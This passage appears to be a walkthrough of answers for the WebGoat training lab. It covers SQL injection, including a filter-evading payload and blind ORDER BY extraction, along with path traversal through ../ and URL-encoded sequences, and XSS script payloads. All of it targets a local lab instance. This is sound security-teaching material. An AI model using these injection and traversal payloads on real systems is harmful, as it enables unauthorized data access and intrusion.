`';/**/SELSELECTECT/**/*/**/FRFROMOM/**/user_system_data/**/WHERE/**/1/**/=/**/1;/**/--`

**L10.**
Let's first look at the syntax of ORDER BY.
| Command | Syntax | Description |
|---------|-------------------------------|-------------------------------|
| SELECT | SELECT column1, column2, ... FROM table_name [WHERE condition] [ORDER BY (CASE WHEN condition THEN column1 ELSE column2 END) ASC/DESC]; | Selects and displays the specified columns and rows from the specified table. The WHERE clause filters the rows that meet the specified conditions, and the ORDER BY clause sorts the result set based on a conditional expression that determines which column to use for sorting. The CASE statement checks the condition and returns column1 if it's true or column2 if it's false. The ASC/DESC keyword specifies whether to sort the result set in ascending or descending order. |
For example:
```
SELECT * FROM users ORDER BY (CASE WHEN (SELECT SUBSTRING(password, 1 ,1) FROM users WHERE userid = 0) = 'a' THEN firstname ELSE lastname END);
```
This is an example of SQL blind injection, in it, the WHEN condition can be a SQL query.
If the first digit of the password of the user whose userid is 0 is **"a"**, all users will be returned in descending order of firstname, otherwise, it will be returned in descending order of lastname arrangement.
**L12.**

**Answer:**
When you press the button next to a field on the web page, it will be sorted by that field and send a SQL query request.
We intercept the request and send it to the Repeater.

Let's send a bad request to see.

You can see that there is a complete SQL query line in the error.
```
select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by
```
From the error, we can know the name of the data table **"SERVERS"**.
Now, we try to inject this SQL query.
`(CASE/**/WHEN/**/(SELECT/**/SUBSTRING(ip,/**/1,/**/1)/**/FROM/**/SERVERS/**/WHERE/**/hostname/**/=/**/'webgoat-prd')/**/=/**/'0'/**/THEN/**/id/**/ELSE/**/ip/**/END)`
If the first number of the ip of **"webgoat-prd"** is 0, it will be sorted in descending order by id, otherwise it will be sorted in descending order by ip.

Look at the picture above, the results are arranged by ip, so the first number of ip is not 0.
Continue to try, change to 1 to try.

You can see that the results are sorted in descending order by id, so the first number of ip is 1.
Keep trying, we skip the intermediate process and give the result directly.

You can know that the first three digits of ip are 104.
This is the answer.

### Path traversal
In this lesson, we will explore Path Traversal, a vulnerability that allows attackers to access files outside of a web application's root directory, potentially leading to the compromise of sensitive data or the execution of malicious code.
**L2.**

**Answer:**
Upload a file at will, even if the file type is not an image.

You can see where your files are uploaded to below.
Then observe, you can see that the name of the uploaded file is the same as the full name.
Change the full name to **`../test`**, and upload the file again.

**L3.**

**Answer:**
Try the method just now, and you can see that **`../`** has disappeared.

We can try to see if the website has recursive replacement **`../`**, in
It is very similar to the one used in SQL Injection.
Try changing **`../test`** to **`..././test`**.

**L4.**

**Answer:**
Try again using the previous answer and find that the file name has nothing to do with the full name.

Now let's look at the POST request to upload an archive.

Let's try changing **`Profile.jpg`** to **`../Profile.jpg`**.

You can see success after sending.

**L5.**

**Answer:**
We press the button above to refresh the picture, intercept the request and send it to Repeater.

You can observe the location of the reply on the right, and the location is followed by **"?id=10.jpg"**.
Let's try adding **"?id=0"** to the URL of the GET request.

Although 0.jpg was not found, the web page responded with all files in that directory.
Let's try to change the id to **`%2e%2e%2f`**.
Note: **`%2e%2e%2f`** is the URL encoding of **``../``**.

Look at the reply on the right, I can't find **"path-traversal-secret.jpg"** in it.
Continue to search, change to **"%2e%2e%2f%2e%2e%2f"**.

Found it this time, we changed the id to **"%2e%2e%2f%2e%2e%2fpath-traversal-secret"**.

We now know the answer is your username SHA-512 hash.
Use the following command to get the hash:
```
echo -n 'username' | sha512sum
```

This is the answer.

**L7.**

**Answer:**
There is a full explanation in **L8.**
### Cross Site Scripting
In this lesson, we will delve into the topic of Cross Site Scripting (XSS), a web application vulnerability that enables attackers to inject malicious scripts into a website, potentially leading to the theft of sensitive information, user authentication bypass, or the manipulation of website content.
**L2.**

**Answer:**
Open the console of the developer tools on this page, and enter **"console.log(document.cookie)"**.

Then just open any lesson and do the same.

You can see that the two outputs are the same, tick **"The cookies are the same on each tab"** and press **"Submit"**.

**L7.**

**Answer:**
Try entering the following in each field, then press **"Purchase"**.
```
<script>alert("XSS Test")</script>
```
It can be found that only the bottom two can be entered. After entering the content just now in the column of the card number, press **"Purchase"** to pass.

**L10.**

**Answer:**
Find **"GoatRouter.js"** in the source of the developer tool, as shown in the figure below.

Look at lines 48 to 54 of the code.
```
routes:{
'welcome': 'welcomeRoute',
'lesson/:name': 'lessonRoute',
'lesson/:name/:pageNum': 'lessonPageRoute',
'test/:param': 'testRoute',
'reportCard': 'reportCard'
},
```
JavaScript will call the corresponding JS function according to the text after the pound sign in the URL.
You can see that there is a residual test code test in the JS code just now, so the answer is **"start.mvc#test/"**
**L11.**

**Answer:**
Visit this URL **"127.0.0.1:8080/WebGoat/start.mvc#test/WhateverYouType"**

You can see that what you typed is embedded in html.
So we execute JS code by embedding **"<script>webgoat.customjs.phoneHome()</script>"** into html.
URL-encode **"<script>webgoat.customjs.phoneHome()</script>"** into **"%3Cscript%3Ewebgoat.customjs.phoneHome%28%29%3C%2Fscript%3E"**.
Then visit **"127.0.0.1:8080/WebGoat/start.mvc#test/%3Cscript%3Ewebgoat.customjs.phoneHome%28%29%3C%2Fscript%3E"** and you will see the reply in the console.

Submit the reply number and it's passed.

## Some Problem Solutions
### Permission Denied
If you get a **"Permission denied"** error message when running the command, it means that you are not running with root privileges.
Enter the following command to switch to root privileges:
```
sudo su
```
Then enter your password.
### Can't Enter WebGoat's Website

If you cannot enter the WebGoat website, please confirm whether the WebGoat container is enabled.
Refer to the following steps:
1. Switch to root privileges by using the following command:
```
sudo su
```
2. Check container status by using the following command:
```
docker ps -a
```

If the status is not **"Existed"**, please consider pulling the container again, refer to Step 6 of **Preparation**.
3. Start container by using the following command:
```
docker start webgoat
```